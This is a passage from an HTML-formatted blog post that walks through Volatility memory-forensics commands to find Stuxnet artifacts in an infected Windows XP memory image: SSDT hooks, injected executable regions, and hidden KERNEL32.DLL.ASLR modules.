/&gt;&lt;span style="font-family:courier new;"&gt;StartAddress: 0x7c8106e9 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ServiceTable: 0x80552fa0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   [0] 0x80501b8c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x19] NtClose 0xb240f80e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x29] NtCreateKey 0xb240f604 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x3f] NtDeleteKey 0xb240f4ac PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x41] NtDeleteValueKey 0xb240f4f2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x47] NtEnumerateKey 0xb240f3f2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x49] NtEnumerateValueKey 0xb240f34e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x4f] NtFlushKey 0xb240f446 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x62] NtLoadKey 0xb240f972 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x77] NtOpenKey 0xb240f7d0 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0xa0] NtQueryKey 0xb240f03e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0xb1] NtQueryValueKey 0xb240f166 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0xf7] NtSetValueKey 0xb240f28a PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       [0x107] NtUnloadKey 0xb240fac2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   [1] -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   [2] -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   [3] -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; Win32Thread: 0x00000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; CrossThreadFlags: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;------&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ETHREAD: 0x81f44730 &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Pid: 1928&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Tid: 764&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Tags: HookedSSDT&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Created: 2011-06-03 04:26:55 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Exited: -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Owning Process: 0x81c47c00 'lsass.exe'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Attached Process: 0x81c47c00 'lsass.exe'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;State: Waiting:UserRequest&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;font-family:courier new;" &gt;BasePriority: 0x8&lt;br /&gt;Priority: 0x8&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;TEB: 0x7ffdb000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;StartAddress: 0x7c8106e9 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ServiceTable: 0x80552f60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  [0] 0x80501b8c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x19] NtClose 0xb240f80e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x29] NtCreateKey 0xb240f604 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x3f] NtDeleteKey 0xb240f4ac PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x41] NtDeleteValueKey 0xb240f4f2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x47] NtEnumerateKey 0xb240f3f2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x49] NtEnumerateValueKey 0xb240f34e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x4f] NtFlushKey 0xb240f446 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x62] NtLoadKey 0xb240f972 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x77] NtOpenKey 0xb240f7d0 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0xa0] NtQueryKey 0xb240f03e PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0xb1] NtQueryValueKey 0xb240f166 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0xf7] NtSetValueKey 0xb240f28a PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      [0x107] NtUnloadKey 0xb240fac2 PROCMON20.SYS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  [1] 0xbf999b80&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  [2] -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  [3] -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Win32Thread: 0xe126ceb0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CrossThreadFlags: &lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;The  BasePriority 0x9 you see for Tid 1768 is because the parent process  (legit lsass.exe) has BasePriority 0x9 (slightly above normal). The  BasePriority 0x8 you see for Tid 764 is because the parent process  (Stuxnet lsass.exe) has BasePriority 0x8 (Normal).&lt;br /&gt;&lt;br /&gt;This isn't a strong artifact,  since threads can dynamically change priority, but its an artifact  nonetheless.&lt;br /&gt;&lt;br /&gt;Lastly, it is worth noting that Stuxnet's kernel driver injects DLLs into processes by using the &lt;a href="http://msdn.microsoft.com/en-us/library/ff549659%28v=vs.85%29.aspx"&gt;KeStackAttachProcess&lt;/a&gt;  API. So if you happen to dump memory &lt;span style="font-style: italic;"&gt;during&lt;/span&gt; one of the injection  procedures, you'll also see in the threads output that the owning  process is different from the attached process.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 3: Too Few DLLs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"...besides  running as children of Services.exe, another suspicious  characteristic  of the two superfluous processes is the fact that they  have very few  DLLs loaded..." [1]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you can use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#dlllist"&gt;dlllist&lt;/a&gt;  with the -p parameter to focus only on certain processes. In this case,  we're interested in comparing pids 680 (legit), 868 (bad), and 1928  (bad).&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py dlllist -p 680,868,1928&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe pid:    680&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Command line : -&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Service Pack 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Base         Size         Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x01000000   0x006000     &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77dd0000   0x09b000     C:\WINDOWS\system32\ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77e70000   0x092000     C:\WINDOWS\system32\RPCRT4.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77fe0000   0x011000     C:\WINDOWS\system32\Secur32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x75730000   0x0b5000     C:\WINDOWS\system32\LSASRV.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;[snip - about 60 others]&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe pid:    868&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Command line : "C:\WINDOWS\\system32\\lsass.exe"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Service Pack 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Base         Size         Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x01000000   0x006000     C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77dd0000   0x09b000     C:\WINDOWS\system32\ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77e70000   0x092000     C:\WINDOWS\system32\RPCRT4.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77fe0000   0x011000     C:\WINDOWS\system32\Secur32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7e410000   0x091000     C:\WINDOWS\system32\USER32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77f10000   0x049000     C:\WINDOWS\system32\GDI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;************************************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe pid:   1928&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Command line : "C:\WINDOWS\\system32\\lsass.exe"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Service Pack 3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Base         Size         Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x01000000   0x006000     C:\WINDOWS\system32\lsass.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c900000   0x0af000     C:\WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7c800000   0x0f6000     C:\WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77dd0000   0x09b000     C:\WINDOWS\system32\ADVAPI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77e70000   0x092000     C:\WINDOWS\system32\RPCRT4.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77fe0000   0x011000     C:\WINDOWS\system32\Secur32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x7e410000   0x091000     C:\WINDOWS\system32\USER32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x77f10000   0x049000     C:\WINDOWS\system32\GDI32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00870000   0x138000     C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360b7ab&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;[snip - about 20 others]&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;This  output supports Mark's findings that the malicious lsass.exe processes  have far fewer DLLs loaded than the legit copy. Its worth mentioning  that the malicious processes also have less open files and registry keys  - which you can verify with the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#handles"&gt;handles&lt;/a&gt; command (we'll use this command later).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 4: Injected Code&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"No non-Microsoft DLLs show up in the loaded-module lists for  Services.exe, Lsass.exe or Explorer.exe, so they are probably hosting  injected executable code. [....] Sure enough, the legitimate Lsass has no executable data regions, but  both new Lsass processes have regions with Execute and Write permissions  in their address spaces at the same location and same size." [1]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you can use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#malfind"&gt;malfind&lt;/a&gt; to automatically locate and extract the injected executable code.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py malfind -D out &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Name                 Pid    Start      End        Tag    Hits Protect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe            868 &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;0x00080000&lt;/span&gt; 0x000F9FFF Vad       0      6 (MM_EXECUTE_READWRITE)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;Dumped to: out/lsass.exe.1e498c8.00080000-000f9fff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080000   &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;4d 5a&lt;/span&gt; 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;MZ&lt;/span&gt;..............&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080010   b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080030   00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080040   0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68    ........!..L.!Th&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080050   69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f    is program canno&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080060   74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20    t be run in DOS &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080070   6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00    mode....$.......&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;lsass.exe           1928 &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;0x00080000&lt;/span&gt; 0x000F9FFF Vad       0      6 (MM_EXECUTE_READWRITE)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-family:courier new;" &gt;Dumped to: out/lsass.exe.1e47c00.00080000-000f9fff.dmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080000   &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;4d 5a&lt;/span&gt; 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;MZ&lt;/span&gt;..............&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080010   b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080030   00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00    ................&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080040   0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68    ........!..L.!Th&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080050   69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f    is program canno&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080060   74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20    t be run in DOS &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00080070   6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00    mode....$.......&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Malfind located two suspicious regions, at 0x80000 base address in both processes. They have MM_EXECUTE_READWRITE permissions and start with MZ, meaning a PE is likely stored here. My usual next step is to try and find out where the injected code came from. Is it mapped to some file on disk? You can use &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#vadinfo"&gt;vadinfo&lt;/a&gt; to see more granular details about the memory segment:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py vadinfo -p 868 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[snip]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;VAD node @822e7e70 Start 00080000 End 000f9fff Tag Vad &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Flags: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Commit Charge: 0 Protection: 6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ControlArea @81de9890 Segment e2b7dbf0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Dereference list: Flink 00000000, Blink 00000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NumberOfSectionReferences:          0 NumberOfPfnReferences:           0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NumberOfMappedViews:                1 NumberOfUserReferences:          1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;WaitingForDeletion Event:  00000000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Flags: Commit, HadUserReference&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;font-family:courier new;" &gt;FileObject: none&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;First prototype PTE: e2b7dc30 Last contiguous PTE: e2b7dff8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Flags2: Inherit&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;You can tell the memory isn't backed by a file because the FileObject pointer is none/NULL. It would be backed by a file if the PE was loaded via LoadLibrary. More on this in the next artifact.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Artifact 5: Hidden DLLs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;"Stuxnet  calls LoadLibrary with a specially crafted file name that does not  exist on disk and normally causes LoadLibrary to fail. However,  W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load  specially crafted file names. These specially crafted filenames are  mapped to another location instead—a location specified by W32.Stuxnet.  That location is generally an area in memory where a .dll file has been  decrypted and stored by the threat previously. The filenames used have  the pattern of KERNEL32.DLL.ASLR.[HEXADECIMAL]..." [4]&lt;/span&gt;&lt;/blockquote&gt;Based on this statement, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#dlllist"&gt;dlllist&lt;/a&gt;  command to view the evidence. Even though the file doesn't exist on  disk *and* the malware hooks the DLL loading APIs, the file name will  still end up in the PEB lists.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$&lt;span style="font-weight: bold;"&gt; ./vol.py dlllist | grep ASLR&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;br /&gt;Base         Size         Path&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;0x013f0000   0x138000     C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360c5e2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00d00000   0x138000     C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360c8ee&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x00870000   0x138000     C:\WINDOWS\system32\KERNEL32.DLL.ASLR.0360b7ab&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt; For a different perspective, you can use the &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#ldrmodules"&gt;ldrmodules&lt;/a&gt; plugin. This is useful if you don't preemptively know to search for "ASLR" or any predictable file name. This plugin compares the PE files in memory with mapped files and the 3 DLL lists in the PEB. This is one of my favorite artifacts, because Stuxnet actually uses 3 different types of code injection - all of which are visible (and distinguishable from each other) by using a simpe command:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;$ &lt;span style="font-weight: bold;"&gt;./vol.py ldrmodules -p 1928&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Volatile Systems Volatility Framework 2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Pid      Process              Base     InLoad   InInit   InMem    Path&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;1928 lsass.exe            0x00080000      0      0      0 -&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x7C900000      1      1      1 \WINDOWS\system32\ntdll.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x773D0000      1      1      1 \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77F60000      1      1      1 \WINDOWS\system32\shlwapi.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x771B0000      1      1      1 \WINDOWS\system32\wininet.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77A80000      1      1      1 \WINDOWS\system32\crypt32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77FE0000      1      1      1 \WINDOWS\system32\secur32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77C00000      1      1      1 \WINDOWS\system32\version.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;1928 lsass.exe            0x01000000      1      0      1 -&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x5B860000      1      1      1 \WINDOWS\system32\netapi32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77E70000      1      1      1 \WINDOWS\system32\rpcrt4.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x71AB0000      1      1      1 \WINDOWS\system32\ws2_32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x71AD0000      1      1      1 \WINDOWS\system32\wsock32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x774E0000      1      1      1 \WINDOWS\system32\ole32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x7E410000      1      1      1 \WINDOWS\system32\user32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77F10000      1      1      1 \WINDOWS\system32\gdi32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77120000      1      1      1 \WINDOWS\system32\oleaut32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x76D60000      1      1      1 \WINDOWS\system32\iphlpapi.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x769C0000      1      1      1 \WINDOWS\system32\userenv.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x7C800000      1      1      1 \WINDOWS\system32\kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x76BF0000      1      1      1 \WINDOWS\system32\psapi.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77C10000      1      1      1 \WINDOWS\system32\msvcrt.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x77DD0000      1      1      1 \WINDOWS\system32\advapi32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x7C9C0000      1      1      1 \WINDOWS\system32\shell32.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;1928 lsass.exe            0x00870000      1      1      1 -&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            0x76F20000      1      1      1 \WINDOWS\system32\dnsapi.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  1928 lsass.exe            